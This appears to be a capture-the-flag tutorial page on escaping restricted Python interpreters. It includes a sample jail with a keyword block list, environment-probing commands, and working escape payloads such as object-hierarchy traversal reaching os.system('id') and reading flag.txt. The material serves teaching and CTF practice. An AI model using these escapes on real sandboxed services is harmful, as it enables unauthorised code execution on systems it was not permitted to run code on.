Python Jails (pyjails)
Escape restricted Python execution environments in CTF misc challenges.
Python Jails (pyjails)
Python jails (pyjails) are CTF challenges that run restricted Python interpreters blocking built-in functions, imports, keywords, and other dangerous operations to test contestants' ability to escape sandbox restrictions and execute arbitrary code.
How it works: Jails filter dangerous keywords (import, open, __), limit code length, or blacklist specific strings; bypass via string encoding/obfuscation (chr, hex, string methods), accessing __builtins__ via alternative paths, code object manipulation, or finding gaps in the filter list.
Why it matters: Teaches deep Python internals (dict, getattribute, frame objects, bytecode); mimics real-world sandbox escapes (CTF services, online judges, restricted evaluation); common in misc category; fosters creative problem-solving and language mastery.
Understanding the Jail
First, understand what's restricted. Common setups:
# Typical pyjail server code
import sys
code = input("> ")
# Filter examples
if any(kw in code for kw in ['import', 'open', 'os', 'sys', '__']):
print("BANNED!")
exit()
eval(code) # or exec(code)Your goal: execute os.system('cat flag.txt') or open('flag.txt').read() despite restrictions.
Escape Methodology
Reconnaissance Inside the Jail
Before escaping, map the environment:
dir() # what names are available
dir(__builtins__) # what builtins exist
globals() # current global namespace
locals() # current local namespace
vars() # same as locals()Identify the Filter Type
Test each banned keyword individually. Is __ blocked? Is import blocked? Are specific characters banned? Is there a length limit? This determines which bypass technique to use.
Apply the Right Bypass
Choose from the techniques below based on what's restricted. Start with the simplest (breakpoint(), direct __import__) before reaching for the object hierarchy.
Execute the Payload
Run os.system('cat flag.txt') or open('flag.txt').read(). If os is unavailable, try subprocess, pty, or reading via pathlib.
Escape Techniques
Technique 1: Access __builtins__ via Object Model
Python's object hierarchy lets you reach os and sys without import:
# From any class, traverse MRO to reach builtins
''.__class__.__mro__[-1].__subclasses__()
# Find a class with __init__ that has __globals__ containing 'os'
[c for c in ''.__class__.__mro__[-1].__subclasses__()
if 'os' in getattr(c.__init__, '__globals__', {})]
# Short version - usually works:
().__class__.__bases__[0].__subclasses__()[<N>].__init__.__globals__['os'].system('id')Index varies by Python version
The subclass index [N] changes between Python versions. Use a loop to find the right one, or check in a matching local environment.
Common Escape Templates
Checklist
- What keywords are banned? (test each: import, open, os, sys, __)
- Are dunder attributes accessible via getattr?
- Is eval or exec available? Can you nest them?
- Try breakpoint() → drops to pdb
- Try import if import keyword is banned
- Try string concatenation to split banned words
- Try chr() to encode banned characters
- Find the right subclass index for your Python version
Last updated on